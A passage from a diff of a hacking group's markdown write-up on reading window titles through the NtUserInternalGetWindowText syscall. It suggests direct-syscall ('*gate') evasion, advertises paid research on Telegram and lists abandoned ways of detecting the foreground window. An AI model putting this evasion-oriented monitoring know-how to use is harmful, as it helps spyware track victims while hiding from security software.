DWORD retval = (DWORD)NtUserInternalGetWindowText(hwnd, pString, cchMaxCount);
|
|
165
|
+
if (!retval) {
|
|
166
|
+
*pString = (WCHAR)0;
|
|
167
|
+
}
|
|
168
|
+
return retval
|
|
169
|
+
}
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
Consult [1](https://dl.malwarewatch.org/software/features/ntvdmx64/build/nt5docs/d0/d0/ntuser_8h.html), [2](https://dl.malwarewatch.org/software/features/ntvdmx64/build/nt5docs/d9/d8/client_2ntstubs_8c-source.html#l00926) for more
|
|
173
|
+
|
|
174
|
+
its a syscall so you can use your favorite \*gate technique on it
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
# Novel research
|
|
179
|
+
|
|
180
|
+
Now... that's all stuff that can be figured out by anyone determined
|
|
181
|
+
for the unique research... contact me @ lovestrangekz on tg, everything has a price :]
|
|
182
|
+
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
Ideas that were abandonned:
|
|
186
|
+
- Use `NtUserBuildHwndList`/`EnumWindows` and re-implement the z-order heuristic to generate the list of all handles to all windows and call IsWindowVisible on them and do some other stuff to figure out if they're foreground or not?
|
|
187
|
+
- Abandonned because, while this works, this is so complex to implement and there's no reliable way of knowing if it's foreground from user-mode (check next point)
|
|
188
|
+
|
|
189
|
+
- Walk `_K_USER_SHARED_DATA` to query its `ConsoleSessionForegroundProcessId` member then query the system to know that PID's windows and hope it only has one
|
|
190
|
+
- Abandonned because, as above, we can't really know if that window is in foreground,
|
|
191
|
+
- doesn't help much if target PID has multiple window handles
|
|
192
|
+
|
|
193
|
+
---
|
|
194
|
+
|
|
195
|
+
lovestrange @ [TeamKavkaz](https://t.me/teamkavkaz25)
|
|
196
|
+
join our channel for more
|
|
197
|
+
hackerz 4 lyfe
|